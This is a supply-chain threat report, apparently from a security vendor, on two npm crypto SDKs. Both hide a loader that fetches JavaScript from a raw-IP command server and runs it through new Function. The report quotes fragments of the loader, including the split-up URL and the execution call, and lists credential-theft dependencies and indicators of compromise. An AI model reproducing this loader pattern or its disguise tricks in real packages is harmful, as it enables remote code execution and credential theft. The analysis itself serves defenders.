Securing the agentic AI software supply chain
← Research
Threat report Jul 29, 2026

Hidden behind a logo: two npm crypto SDKs run a remote-code loader from a font-awesome decoy

crypto-checkout-api and wallet-analytics ship the same loader under different names from the account ahmad318. A decoy function fetches real icons from a public CDN while the exported getPlugin pulls JavaScript from a raw IP command server and runs it through new Function with full Node.js privileges. The declared dependencies are a credential-theft toolkit. A third package in the operation, react-svg-helper, has already been seized by npm.

crypto-checkout-api (v1.0.0) and wallet-analytics (v1.4.8) present themselves as TypeScript SDKs for crypto checkout and blockchain wallet analytics. Both were published by the npm account ahmad318. The two packages carry the same loader in index.js, differing only in a single request token value, and both declare a dependency manifest that has nothing to do with a checkout library and everything to do with credential theft.

The default export is a function named getPlugin. When called, it builds a command-server URL from fragmented variables that resolve to a raw IP on a nonstandard port, fetches a JSON document from it, reads one field, and passes that field straight into the JavaScript Function constructor with require, process, and Buffer in scope. That is arbitrary remote code with full Node.js privileges, delivered on demand from a server the operator controls. These two artifacts link to a single operation, with high confidence, and a third member of that operation has already been seized by the registry.

The artifacts pose as blockchain analytics libraries

Both READMEs describe a “token-first blockchain analytics engine” that offers holder analytics and a configurable whale-monitoring alert engine. crypto-checkout-api sets its description to “TypeScript SDK for crypto chechout and integration payment.” wallet-analytics sets its description to “TypeScript SDK for token analytics and wallet monitoring.” The presentation is coherent enough to pass a quick read.

The metadata underneath does not hold together. The package.json keywords are react, helper, svg, which match neither a checkout SDK nor a blockchain analytics tool. The author field on both packages is copperadev, a name that differs from the publishing account ahmad318. The runtime code, once you open index.js, is about font-awesome icons rather than tokens or wallets. Four separate descriptions of what this package is point in four different directions.

The declared dependencies are the clearest signal. A checkout library does not need @primno/dpapi, which decrypts Windows DPAPI-protected secrets. It does not need node-machine-id to read a stable machine identifier, or better-sqlite3 and sqlite3 for reading local databases such as browser credential stores, or socket.io-client for a live channel back to an operator. Alongside those sit axios and request, two HTTP clients suited to exfiltration. This is the standard toolkit of an infostealer, listed as the runtime dependencies of a package that claims to track whale wallets.

What it does when getPlugin is called

index.js opens with a decoy. A function named setDefaultModule accepts an icon-provider name, looks up a real CDN domain such as cloudflare.com or fastly.net, and fetches font-awesome brand SVGs from cdnjs at the genuine path /ajax/libs/font-awesome/6.4.0/svgs/brands/. That request is benign. It gives the file a plausible reason to make network calls and to carry a header named bearrtoken.

The real behavior sits below it. The command-server address is never written as one string. It is assembled from fragments:

const protocol = "https", domain = "46[.]183[.]25[.]232:45000", separator = "://", path = "/icons/";
const token = '112', head = { bearrtoken: "logo" };
const uuri = `${protocol}${separator}${domain}${path}`;

The /icons/ path and the reused bearrtoken header make the traffic look like a continuation of the font-awesome fetch above. The destination is a raw IPv4 address on port 45000, defanged here as 46[.]183[.]25[.]232, with no CDN behind it. The only difference between the two packages is the token appended to that path. crypto-checkout-api requests /icons/112, wallet-analytics requests /icons/109.

getPlugin performs the fetch, checks the response, and reads a single field from the parsed body:

const data = await response.json();
const evalFn = new Function(
  'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',
  data.credits
);

data.credits is whatever JavaScript the command server returns. It becomes the body of a new function that receives fourteen arguments, including a custom require, the live process object, and Buffer. The function is then invoked with those values, and if it returns a promise the loader awaits it. Every error path is swallowed and the request is retried, so nothing surfaces to the developer who installed the package. The operator controls both the delivery server and the code it returns, which means the payload can change at any time and leaves no fixed second stage to analyze in the package itself.

The trigger is the exported function rather than a lifecycle hook. There is no postinstall script, so ignore-scripts=true in .npmrc does not stop it. The code runs when an application imports the package and calls its default export, which a developer following the README would do as ordinary use.

getPlugin() is called URL assembled from fragmented protocol/domain/path pieces fetch hxxps://46[.]183[.]25[.]232:45000/icons/112 header bearrtoken: logo read JSON response.json().credits Attacker-supplied JavaScript, returned as a JSON field as body new Function( require, process, Buffer, ... ) 14 arguments, full Node.js scope call Arbitrary remote code runs on the host Aephix
The exported getPlugin builds a hidden command-server URL, reads data.credits from the JSON response, and passes that string into new Function for execution with full Node.js privileges.

The two packages belong to one operation

crypto-checkout-api and wallet-analytics carry the same index.js loader. The custom require setup, the setDefaultModule decoy, the fragmented URL construction, the getPlugin fetch-and-execute routine, and the fourteen-argument Function call are identical across both files. The only runtime difference is the request token, 112 against 109, which selects a different payload slot on the same server 46[.]183[.]25[.]232:45000. Both packages set the same author field and react/helper/svg keywords over an identical infostealer dependency set. The shared command server and the identical loader code place these two artifacts in one operation with high confidence, and the matching manifests corroborate it.

The operation is larger than two packages. The custom require in index.js resolves modules from a sibling path, ../react-svg-helper, before falling back to the local project. react-svg-helper is now published on npm only as version 0.0.1-security, the placeholder npm applies when it seizes a name. The registry has already taken that member down. The loader was built to reach for a package that no longer serves the operator, which tells you this operation has been running long enough for one of its parts to be caught and removed.

The durable target is the whole operation

Treating crypto-checkout-api as a single bad package misses the point of the manifest. The durable parts of this operation are the shared command server and its sibling package names, one of which, react-svg-helper, is already seized. The operator can republish the same loader under a new name tomorrow, point it at the same IP with a new token, and the metadata will look just as coherent as it does now. Recognizing the shared delivery infrastructure and the identical code lets a defender act against the whole catalogue and its future republishes rather than removing one filename and moving on.

What a defender can do

Search your lockfiles for crypto-checkout-api, wallet-analytics, and react-svg-helper. If any resolved, treat the host as exposed and rotate every credential that was reachable from that environment, including registry tokens, cloud keys, and anything DPAPI-protected on Windows.

Read the declared dependencies against the stated purpose before you install. A checkout or analytics library that pulls in @primno/dpapi, node-machine-id, and a pair of SQLite bindings is describing capabilities it has no reason to hold. ignore-scripts=true does not help here, because the payload runs at call time rather than in an install hook. None of these checks tells you the package is hostile before you connect to the account behind it, which is the gap that matters when the same code can reappear under a fresh name.

Indicators of compromise

TypeIndicatorContext
npm packagecrypto-checkout-api (1.0.0)Loader posing as a crypto checkout SDK
npm packagewallet-analytics (1.4.8)Same loader, request token 109
npm packagereact-svg-helper (0.0.1-security)Sibling module, seized by npm
npm accountahmad318Publishing account for both live packages
Manifest authorcopperadevpackage.json author field, differs from the publishing account
C2 host46[.]183[.]25[.]232:45000Raw IP command server on a nonstandard port
C2 endpointhxxps://46[.]183[.]25[.]232:45000/icons/112Payload fetch, path disguised as icons
Request token112 (crypto-checkout-api), 109 (wallet-analytics)Selects a payload slot on the server
HTTP headerbearrtoken: logoSent on the payload request
Execution sinknew Function(…, data.credits)Runs the server response with require, process, Buffer in scope
Dependency@primno/dpapiWindows DPAPI protected-secret decryption
Dependencynode-machine-idReads a stable machine identifier
Dependencybetter-sqlite3, sqlite3Local database and credential-store reads
Dependencysocket.io-clientLive operator channel
Decoycdnjs font-awesome fetchBenign cover traffic in setDefaultModule

Where Aephix fits

This operation is what a single-package view cannot see. Two live names and one seized name share a single loader and command server under an identical credential-theft manifest, published under an author field that does not match the account that pushed them. Aephix is threat intelligence for the AI agent supply chain. It is not a patch or a sandbox. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a package from a coordinated operation is something you recognize before you connect. When you are looking at a malicious package, model, skill, MCP server, extension, or container, Aephix Sleuth links it to the wider operation behind it, with a confidence level and supporting evidence, so you can act against the whole operation rather than the single artifact.